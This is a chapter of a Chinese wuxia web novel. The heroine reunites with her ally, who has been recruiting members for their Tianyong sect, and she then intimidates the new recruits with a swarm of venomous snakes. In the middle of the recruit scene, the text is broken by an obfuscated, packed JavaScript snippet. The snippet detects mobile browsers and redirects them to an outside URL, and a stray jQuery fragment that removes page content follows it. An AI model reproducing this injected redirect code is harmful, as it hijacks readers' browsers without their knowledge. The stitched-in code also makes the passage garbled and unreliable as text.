第九十三章去来似梦幻
(蔻燎)
晴空万里。
云彩被风撕扯成碎片,羽毛似的在上空飘飘荡荡,无依无傍。
落花啼一大早醒来,不见床榻上有曲探幽的身影,她不在意,草草洗漱一遭,找人驾着马车跑到落花流水糕点店。
在翘首围场来去耽搁不下一个多月,不知店里的花辞树,雁旋,红衰翠减,伍娘,温娘等人过得如何。
一进店,雁旋率先看见落花啼,蹦蹦跳跳,欢呼雀跃地奔来,兴高采烈道,“太子妃您来了,您终于回来了!”
伍娘,温娘闻言,从后厨出来笑眯眯地和落花啼行礼,打了一个照面。
落花啼揉揉雁旋的发髻,环顾一圈,没瞧见一抹红衣,也没觑到二位师姐的影子,狐疑道,“雁旋乖,花哥哥呢?还有红衰翠减姐姐她们去哪了?”
雁旋抱着落花啼的手臂,想了想,笑道,“太子妃,花哥哥忙事情去了,每天起早贪黑的,我也不知道他在干什么。那两个漂亮姐姐也是,经常不在店里的。”
落花啼讶异,哄着雁旋去玩会儿,旋身往店外走,在曲水沣都的长街上寻觅花辞树的痕迹。
她戴着帷帽掩去面容,一袭红绿衣袍穿梭于鼎沸人海中,时而快时而慢,然而一无所获。
正欲调转方向回糕点店等着,足底一扭,一下子闯入猩红的胸膛,仰头望去,一张许久不见的俊脸衔了笑意,目不转睛地俯视着她。
冉冉红衣,宛如血泉,黑玉蹀躞束着瘦劲的窄腰,一柄锋利的心惩匕首挂在上面。
长袍浮动,黑靴裹着精壮的小腿。
美得近乎妖孽的脸孔咫尺间逼来,快要靠到落花啼的鼻间。
花辞树抓住落花啼的一只手,旁若无人地十指相扣,他向她莞尔一笑,拉着人就走。
两人一前一后绕过几道街,在一普通酒肆下顿住,一同坐下。点了几坛酒,一盘麻辣花生米。
落花啼顾盼左右,未见可疑人影,低声道,“小花,怎么了?有人在跟踪你吗?何以这般神神秘秘?”
“非也。”
花辞树抓着落花啼的手还不舍松开,他摇摇头,笑得明媚,“花啼,我得知你回曲水沣都,早几日就在候着你了,落花流水店不方便谈事,便带你来此了。”
这是何意?什么叫落花流水店里不方便谈事?
需要防着谁?
花辞树倒一杯酒水推给落花啼,压低嗓子,不疾不徐地把他这段时日所做之事一一言出。
在落花啼和曲探幽去翘首围场时,花辞树忙得脚不沾地,一共干了三件事。
第一件事,于落花流水店内,跟天相宗的红衰翠减斗智斗勇,他的直觉告诉他,她们两人来曲朝目的不纯,心有不轨。所以每天就有事没事找她们麻烦,惹得“杀戮双花”火冒三丈之后,三个人就去空旷地砰砰砰打一架。
几乎隔上两三日就上演一遍,雁旋,温娘,伍娘劝了多次,已经见怪不怪,深觉稀松平常。
红衰翠减受不了花辞树的偏见对待,后面一遇见花辞树就绕着走,懒得同他浪费精力。
第二件事,当初落花啼答应收雁旋为天雍阁弟子,但她一时还没时间去教雁旋基础的武功,花辞树便接了这任务,在曲水河畔的长青林,借着树杈子教雁旋学了几套防身招式。
雁旋极有天赋,并且勤学苦练,在其教导下,短短一月学会了四五招剑式,虽然力道和准确度不足,但已能舞出像样的动作,也是难能可贵的。
第三件事,乃是围绕着“天雍阁”三字。
花辞树形单影只,来往天下各地,广招可信的天雍阁门人弟子。
地点先是就近在各种小村落小城郭,挑选一些有天赋,根骨俱佳的好苗子,收入囊中,再慢慢教化,不愁无法一点点壮大门派势力。
期间有一些本身武功不错的人毛遂自荐,易容覆纱的花辞树试验他们的身手考究过他们人品后也陆续留下了。
主要是经过武林大会,天雍阁声名鹊起,不少人被那妖冶邪恶的魔女颜辞镜所吸引,到处打探消息想加入天雍阁。
里头大多数是无家可归,浪迹天涯的男女,干干净净,没有其他牵扯。
花辞树也每每约着他们去偏远地方见面,以至于那些天雍阁门人根本不知他们的阁主和师兄就躲在曲水沣都的一栋豪华糕点店中。
一切讲罢,花辞树言简意赅,严肃道,“花啼,你可以亲自去见见这些门人,立一立威。”
“时间定在三日后,地点金秋村,如何?”
当然妙不可言。
求之不得。
“好,多谢小花费心劳神,我落花啼无以为报。”落花啼感激不尽花辞树在背后为她默默付出这么多,内心五味杂陈,百感交集。
花辞树调笑道,“怎会无以为报,你若愿以身相许,我做梦都会笑醒的。”
虽是明白花辞树在开玩笑,落花啼还是羞臊了红脸,无地自容。
两人碰杯对酌喝了半壶酒,低声细语商议着届时面见门人的准备,聊了须臾,落花啼转变话锋,左瞅瞅右瞅瞅,“小花,你可知红衰翠减她们今儿去了何处?”
“我也不得而知,她们自从不想跟我动手后,一天下来都在街上晃荡,许是随处玩乐罢。”
“小花何必与师姐们动怒,她们是天相宗之人,乃是站在我这边的,理该以礼相待。”
“你把她们当师姐,她们未必把你当师妹。”
越说越歪。落花啼索性揭过不谈,闷闷地喝茶。
花辞树却主动问起有关翘首围场发生的事,落花啼毫不隐瞒,从头至尾巨细无遗讲了一遍,重点描绘九皇子和曲探幽被藏獒袭击的事情,轻描淡写带过枯藤昏鸦刺杀皇上,入鞘出鞘刺杀曲瑾琏的过程。
花辞树皱眉,不可思议,只对曲探幽差点死在藏獒身-下时闪过一丝幸灾乐祸的表情,便没有其他反应。
九皇子,四皇子,皇上,这些人遇刺不遇刺,于他而言,无足轻重,事不关己。
在落花流水店歇了半日,落花啼嘱咐花辞树多多休息,出了门就径直拐向枯藤昏鸦曾经住着的厢房。
屋内自然没有人。
落花啼花了一分钟翻箱倒柜,在其枕头下摸出一张纸,纸上鬼画符似的画了两个简易到潦草的火柴人,火柴人并排奔跑,斗篷翻飞,脚下溅起了泥沙,腾起漫漫灰尘。
风风火火,动态夸张,一副疯狂逃命的架势。
“幼稚。”
落花啼噗嗤一笑,料想枯藤昏鸦以此作为隐晦的报平安,心腑不由安宁些。
刺杀曲远纣一事,枯藤的左胳膊受伤,昏鸦的手腕也受伤,两人仓皇逃窜,如今留在曲朝恐惹麻烦,容易引起嫌疑。
曲远纣怒不可遏地下令,让曲兵全面搜查胳膊和手腕有伤的人,一一排查,务必揪出假扮摧花神判的锁阳人。
好在落花啼与枯藤昏鸦事前就决定了,如果计划失败,让他们乔装打扮成采买鲜花馅儿的商人,跟着那些商人离开曲朝出去躲一躲,暂避风头。
日后有机会再见面,可通过鲜花酥商人传递信息,暗中联系。
枯藤昏鸦一口应下,他们走之前回来一趟,专门给落花啼吃颗定心丸,确定他们性命无虞。
也算是极有良心的。
光阴弹指间逝去,抓捕不住。
暮夜,疏星朗月,凉风微习,萤火虫拎着自己尾部的小灯笼,幽绿幽绿地为天地间点缀着渺渺亮光。
金秋村。
犹记得,金秋村是从前坞山蝗灾时,流民迁徙过来,曲远纣派人修建的其中之一的救灾村落。
落花啼还是第一次来到这里,一进村,就闻见清新的泥土芬芳,四野种了茂密的桑树核桃树,将天空拥挤得不断缩小。
百姓们各自忙碌,有骑着黄牛犁完地往家赶去,有负着背篓去收晾在地面的草药,有坐在门前编织竹篾簸箕的,每人都融入到新的生活,渐而忘却那段遭灾的可怕日子。
避免雁旋触景生情,也怕金秋村之人认出雁旋的身份,顺藤摸瓜分析出天雍阁的人到底是谁,落花啼和花辞树心照不宣瞒着雁旋来了金秋村。
两人惯例易容改衣,面遮红纱,一袭暗红衣袍走起来猎猎浮动,气势凌人,一看就是不好惹的主儿。唬得老百姓们一步三回头,硬是不敢上前搭话。
落花啼手臂挽着黢黑的铁鞭千秋,步幅款款,威慑震人。
若隐若现的红色面纱上锈着华丽的金线芍药,随云髻后簪了红得发黑的芍药花,银链流苏像极了真蛇盘踞在头上,看得人毛骨悚然,双股颤颤巍巍。
眉间贴了蛇纹花钿,以金箔装饰,美若神人。
金秋村里南边有一破庙,庙中借宿的人便是新的天雍阁人。
夜阑人静,村民们吹灯就寝,不明此地人头攒动,议论沸腾。
“咯吱——”
庙门轩敞开,两道高挑的红衣信步入内。
蹲踞在黑暗角落里的男男女女,纷纷踏出两步,看见花辞树的熟悉身影,又看了看落花啼,机灵地抱拳一礼,笑容可掬。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607638|175219||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“见过天雍阁阁主,阁主洪福齐天!”
落花啼负手在背,自人群里分开的宽阔道路走过,落座于门人搬来的一只椅子上,翘起二郎腿。
千秋铁鞭“啪”地猛摔在地,顷刻间砸烂了一方石板,石屑迸飞,精准无误地弹在那些人脸上。
“诸位,可好啊。”
“阁主好!”
天雍阁门人一见在卧女山脉大放光彩的魔女“颜辞镜”,身心躁动,显然是喜悦不已,鼓大眼珠子使劲地瞅,离谱的还蹦起来看。
花辞树站立在落花啼身侧,清咳一声,“肃静!阁主拨冗现身,乃是你们的福分,目下,按你们入门时日排名,逐一向阁主自我介绍,展示拿手本领。”
一个毛头小子从人群中跳出,手持双刃,耍了几套花里胡哨的招法,小脸红通通,期期艾艾道,“颜阁主,我叫叶一片,今年十八了,你在卧女山脉初次露面就夺走了我的心,不不不,是夺走了我的信仰……久仰大名,唯愿一生追随你……我的拿手绝活是——”
“颜阁主,我叫茗香,年二十,武林大会的时候你英姿飒爽,我特别崇拜你……”
“颜阁主,我叫……”
十几号人一个接一个介绍,还现场表演一顿武艺,简直比菜市场热闹了不下百倍。
落花啼和花辞树忍俊不禁,脸蛋子在红纱下快笑裂了,表面上却装得那叫威严冷漠。
这些人都会点武功,级别有高低划分,每人都五官端正,气质正派,非是那种偷奸耍滑的小人模样,除了有点不正经,皆是不错的。
毕竟天雍阁初立时刻,正是需要人手的,不能吹毛求疵。
等最后一人表演了耍大枪,落花啼端坐不动,“啪啪啪”抚掌,声线阴魅,不乏蛊惑,“很好,很好。”
“诸位既入天雍,便得遵守天雍之规矩,天雍阁以龙蛇为图腾,信奉‘斗争即可得’的观念。何为‘斗争即可得’?一言蔽之——天雍阁门人得敢斗敢抢,不甘平庸,我们的最终目标是成为天下第一宗门,打败天相宗,称霸武林。”
“诸位,意下如何?”
众人单膝跪地,异口同声道,“阁主英明,我等誓死追随阁主,生是天雍阁之人,死是天雍阁之鬼!”
看来他们已被花辞树调-教一番,深谙一呼百应的道理。
落花啼含笑,点点头,吹一记袅袅娜娜的口哨,低念一段咒语,“万蛇出巢,蛇网天罗!”
兔起鹘落,不及眨眼,四面八方窸窸窣窣如水滑动出手腕粗细的斑斓毒蛇,蜿蜒爬行,浊浪般包围了天雍门人。
一寸一寸减小距离,仿佛要攀住他们的腿脚大咬一口,注入毒素,令之殒命当场。
“嘶嘶,嘶嘶……”
诡谲的蛇鸣声灌满耳朵,芒刺在背,无处可逃。
扑朔迷离的苦酒香沁入肺腑,闻之难忘。
“此乃活死蛇,是我豢养的宠物,它们杀人如麻,血债累累,最是喜欢吸吮活人鲜血,你们,千万不要激怒它们。”
“天雍阁容不得背信弃义,忘恩负义之徒,一旦发觉,毒蛇便会日夜追杀,直至对方中毒暴毙,死不瞑目。可明白?”
落花啼把玩着手心的一条黑白相间的银环蛇,食指戳戳蛇的小脑壳,戏谑已极。
众天雍门人垂下头颅,战战兢兢道,“属下明白,绝不会弃阁主于不顾!”
“好。”落花啼笑靥生花,音调掷地有声,她挑了挑眉,“往后,我若有令下达,便会派遣毒蛇传信于你们,希望你们能发挥自身效用,为天雍阁竭尽全力,天雍阁不会亏待你们的。”
“名,利,地盘,我们都能争取第一。”
曲水沣都,茶寮。
红衰翠减肩膀挨肩膀坐着,手指摩挲杯沿,心不在焉。
寒风掠来,刺骨凛然。
一抹黑影“唰”的一掀长袍,瞬息之间,倏忽坐在红衰翠减的对面,暗夜似的斗篷挡着上半张脸,下半张脸又蒙了黑绸。
两颗剔透的眼珠犹如孽海珍珠,闪闪烁烁。
深不见底。
红衰翠减相视一眼,站起来微微俯首,施了一礼,复而落座。
对面的黑斗篷不置一词,兀自端一茶杯喝了两口,气焰嚣张。
红衰扭扭手指头,如履薄冰道,“他们已经从翘首围场回来了,你倘若不相信,可去亲眼瞧瞧,我们不敢诓骗你一字一句的。”
黑斗篷冷笑,“事关重大,量你们也不敢。”
喝罢茶水,黑斗篷脚踏街边墙面,衣袂飘飘,翻身跃上高楼,杳然不见。